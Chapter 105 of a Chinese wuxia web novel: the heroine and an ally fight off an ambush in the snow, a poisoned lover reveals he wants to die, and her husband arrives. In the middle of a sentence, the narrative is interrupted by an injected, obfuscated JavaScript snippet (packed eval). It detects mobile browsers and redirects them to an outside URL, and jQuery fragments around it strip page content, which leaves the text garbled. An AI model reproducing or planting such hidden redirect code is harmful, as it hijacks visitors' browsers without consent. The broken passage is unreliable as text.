105. 来日可期
作品:《黑莲花她胜夫君半子》 林南风按着时鸳的手背,三年来的日日夜夜他都在希冀这一刻,树后的刀光剑影让他的千言万语只能埋在心底。他还未适应长久黑暗,闭眼间头晕目眩,且背后的伤口痛觉加剧,一阵冰凉自经脉侵蚀入骨髓。
“阿时……呃——”
他所中之毒再次发作,如坠冰窟般的冰冷让他全身打着寒战。
时鸳见到他脸上黑气渐重,又给他喂下两粒解毒丹:
“再忍一忍。等回到长安,竺澄加上荣照灵,实在不行还有竺晏,一定能治好你的毒伤。”
她抚着他愈加冰凉的脸颊,心下一紧。她见过金封泰中箭后的迅速死亡,担心解药的药效来不及奏效。
林南风靠向面前时鸳温暖的怀抱,双手紧怀着她的腰背。他最后一丝清明被抽离而去,不舍地唤道:
“阿时……阿时,生死珍重……来日……”
时鸳长睫低垂,轻拢着他在怀里。他还未曾忘却当年别时一诺,但当自己离开杭州前往秦岭解针之后,未来的主要谋划中就有意无意地避开他。
她转头瞥见燕北还识相地挪开眼神。
燕北还望向不远处在低声密谋的护卫,听到这只言片语,已然拼凑出林南风义无反顾地执行解针计划的唯一所求。
“柳羡仙知道么?”
时鸳余光又瞄了他一眼后低头沉默,手中已是探到林南风胸前的纯银球形挂坠。
寂静片刻后,远处护卫中有人喊话道:
“林盟主身中剧毒,剑仙束手就擒,我家庄主可以施以援手。剑仙若不听从,待庄主禀明苦寒堂梅堂主,就算柳羡仙也护不住你三人!”
时鸳本想拖延时间等柳羡仙前来,可澹台鸣这咄咄逼人之色,若只能等太被动了。
她向燕北还低声笃定道:
“这些人除了澹台鸣,一个都不能留。”
燕北还脚尖一勾,地上的龑光剑已到了手中,他眯眼审视不远处的护卫阵型与四周树木分布。
“我怕内力不够,慢上一两分,躲不过第一波三发连弩都得完蛋。”
时鸳解下林南风颈间的银挂坠递到向燕北还,道:
“想试试么?”
燕北还低头看到她掌中的闪着冷色的银坠,猜到里面是什么,眉头一皱问道:
“鸩丹?”
又一阵的催促与威胁响起:
“剑仙若考虑得当,现在就走出来。否则箭矢无眼,定将你三人射成筛子。”
时鸳并未理会咄咄逼人的质问。她抿唇一笑,回想往事:杭州的冬月没有长安的风雪,只是西湖上的风吹得她躲在林南风身后。
“这颗鸩丹是四年前我送给他的生辰之礼,想不到今日派上了用场。四年前的配方,药效是最强的。”
燕北还拈起那颗挂坠用力捏下,錾刻的银壳连同封存的蜡层裂开,沉重药味随之四散。
他将药丸塞进口中吞下,这股药味并不难闻反而带着一丝丝奇怪的甜味,药丸入喉之后随即融化。喉间至脏腑之间血脉被药劲侵蚀浸润,缓缓流动的血液汇聚于气海内,汇聚起源源不断的内劲。
时鸳看向燕北还药效渐起的模样,将倚在身前的林南风靠在树干上,起身朗声回道:
“澹台鸣,我让你死个明白。柳知棠早就知道我的身份,柳羡仙与我收拾了你,五行庄一定是澹台洐的。放心,柳家会好好抚养这个外甥。”
火堆边的人群又是一阵叽哩呼噜,随后那护卫又在澹台鸣的授意下回道:
“我家庄主且看剑仙可有性命来取。上!”
燕北还将离星刃抛给时鸳,右手执长剑,左手端着空弩,脚下一震,扑向一侧树干后。耳边即刻响起弓弩机括扣下的声音,箭矢闪过寒光破空而来。
有惊无险,那一片激射来的弩箭擦着他的身影而过。
燕北还在树干后稍停,继续跃向不远处树干,一阵箭雨骤下。他站定后看一眼被箭划破的衣衫,知道若非服下鸩丹,身形速度快了一倍不止,他已是地上死尸。
他隐在树后紧憋住喘息,在树干上借力跃上头顶粗枝,弓弩在树边一架,见众人手中弓弩低垂皆是抽刀护头。
燕北还抓住这一瞬间,将空弩砸向人群,同时他居高临下飞扑而去。他手中龑光剑银光如毒蛇吐信,即刻取下二人人性命。
他侧身一闪,长剑格挡下砍来的宽刀,左手架起护卫手里弓弩,往侧一引扣下扳机了结一个。他扣住护卫手腕转身一拧,将副高大身躯做为阻挡箭矢的盾牌,待其余连发弓弩上箭矢已尽,才上前与剩下数人短兵相接。
此时,战圈之外的两个护卫已朝时鸳二人隐身的树干而去。
地上狭长人影渐渐靠近,时鸳紧握的小弩上最后一支毒箭,而林南风仍是昏迷不醒。
她皱眉收回眼神,将小弩隐在袖中自树后缓缓走出,惊得二人手中弓弩一震,差点按下扳机将她射杀。
“杀了我,澹台鸣可不会奖励你二人。放下弓弩,我让燕北还停手。”
面前二人对视间犹豫地慢慢放下弓弩。
就在那一刹那,时鸳抬手射箭便将一人射杀,立刻指向欲抬弩还击的另一人。
“试一试你快,还是我快?放下——”
她气定神闲地紧盯狐疑的护卫,缓缓抬脚往前走去。
她方走到面前,那护卫已想明白她是虚张声势,欲抬起弓弩,却见她左手中离星刃割断弩弦。
时鸳见其拔刀动作,即刻闪身扑向地上那具护卫尸体,用那还剩一支弩箭的弓弩瞄准射击。
咻的一声,地上又多了一具尸体。
她望向燕北还处,见他已将剩下几人击杀。
而不远处的火堆边,为首的护卫看到燕北还持剑朝澹台鸣走来,他当即丢下地上的庄主,跃上马匹纵马而逃。
时鸳疾喝道:
“赶尽杀绝!”
不待她声音落地,燕北还急奔前跃,鸩丹药效之下他何止身轻如燕,近距离之下他的速度已快过骏马。他在树上借力纵身,往前扑下抬手将那护卫毙命。
他转身走向地上的澹台鸣,想起饮酒间柳知棠对自己的坦白的委屈,眼中只有无尽的恨意与鄙夷。
“我废了你右手,你才不会再打女人。”
澹台鸣挣扎着爬进车底,却被燕北还拉着脚踝拖了出来,他眼看自己右手掌被龑光剑穿透后死死钉在雪地之上。
伴随着澹台鸣挣扎间的凄厉惨叫,燕北还低眼而叹,终于替柳知棠出了一口恶气,她再也不用担惊受怕。
“南风!”
查看林南风的时鸳一声惊呼,她几乎探不到他的鼻息,他颈侧脉搏也越来越微弱。她望向赶到身边的燕北还:
“快运气把毒逼出来。”
燕北还闻声照做,片刻后林南风吐出一大口黑血,口鼻间呼吸的白气渐而明显。
“阿时……”
听到林南风一声低语,燕北还收功后起身去火堆边取了热水。
时鸳喂他饮下热水后待他转醒,轻按上林南风颈侧的脉搏,皱着眉心有余悸道:
“趁着你鸩丹药效没散,用内力护住他的心脉,尽快回长安找竺澄。”
燕北还点头起身道:
“等我一会儿,我去把澹台鸣绑上马车。”
此时,林南风缓缓抬起眼睑,逐渐适应睁眼后的黑暗天地。他颤抖着握着她的指尖,低声恳求:
“阿时,杀医不祥……放过荣照灵和
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17355598|192614||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
荣家。”
时鸳低头看到手边的那瓶解毒丹倒吸一口凉气,林南风的中毒症状不像是金封泰的模样。
她垂眸沉默片刻,才冷声而问:
“这是你的遗言?”
他摇头否认,道出真正遗言:
“荣家金针只有荣照灵会,让她交出来。她祖母说金针逆用可断人经脉……”
时鸳耳边他断续的几个字,让她早已沉寂的眼泪夺眶而出,滚烫的泪珠划过脸颊,落在白雪上烫出斑驳痕迹。
她不意外荣氏在出谷后将自己行迹透露给蝶舞门,这番借刀杀人不仅替荣照灵除去她这个情敌,更保证对林南风的承诺易圆满完成。可当年荣氏信誓旦旦地说恨心针解去后经脉尽断只是代价,原来那时就笃定要毁掉她。她与荣氏的交易,一开始就被算计了。
林南风摸索到身边的那瓶解毒丹,吃力地挪到她手边。可手背上落了她的泪水,他心间一颤,湿润的眼眶也盛不住眼泪。
“阿时不哭。我杀了她,这个仇我为你报了……再给我吃两颗解毒丹。”
时鸳夺下他手中药瓶,不可置信看向坦然满足的林南风,他早知解毒丹有问题,可这瓶药真正想了结的是她。
“我回不去,荣照灵就为她祖母报仇雪恨;我安然无恙地回去,她开了什么条件?”
林南风知道一切瞒不住她的七窍玲珑心。纵使荣照灵算无遗策,可她漏算了一条:他愿意去死。
“我不想和她一生一世。与你没有来日,我等来世……”
他毫无求生欲念地阖上眼,最后一字之声越来越轻,最后混入风雪声里消逝不见。
时鸳泪若断珠,四年前林南风拦下她自尽,许诺她仍能在江湖中恣意妄为。她靠在他肩头,心底唯一的念头是他绝不可以死。
她的痛心泣喊回想在雪月之下:
“林南风,我不许你死!你怎么能轻易求死?你给我活下去,是你说的生死珍重,是你说的来日可期!来日可期……”
一片阴影挡下,遮住了他二人身上的月光与雪色。
时鸳满含泪眼间抬头,面前是练霜蛟高兴地打着响鼻,马背上是低眼轻扫的柳羡仙,树端洒下的破碎月光毫无温度,似那久违的沉沉暮气又封印向他周身,最后凝于他低垂的冷眸中,熄灭最后一丝脉脉温情。
柳羡仙凝视着眼前这一幕,他的爱妻抱着别的男子痛哭着许下今生诺言。他左手拇指无声地按紧了鎏金管的机括,骨节泛白——直到看清她满面血污那力道才骤然松懈,化作深重呼吸下的一阵白气。他声线压得极低,阴沉道:
“我柳羡仙押上整个垂荫堂,终是换不来你的来日可期。”
他借哑叔的搀扶下马落地,咬牙咽下杀意,目光落到再度陷入昏迷的林南风处。
时鸳见到迟来的柳羡仙,没有一丝欣喜与安然,只有身上每一处伤口的隐隐作痛。
她轻然闭眼掩盖过失态,再度睁眼时她深饮冷夜寒意,强压下喉间的哽咽,泪光里望向他的眸色,尽是防备与冷峻。
一阵镣铐的叮当声中,她双手撑着树干起身。
柳羡仙才看清她腕间被镣铐磨破的皮肉与血痂,这一番触目惊心,惊扰了他周身暮气。
他瞳孔骤缩,下意识抬手上前,可抬到一半,手止于半空颤抖不前,怕触碰一下她会再添一丝伤痕。
时鸳摇晃着站定身形,没有一句多余辩解,质问道
“你答应过要保住他。”
柳羡仙垂眼低头,缓缓放下手。每一次遇到林南风之事,他二人龃龉不断渐生离心,而最干净的法子,他动念过不止一次。
时鸳强撑疲惫,轻声冷笑:
“你不想继续,没人逼你。”

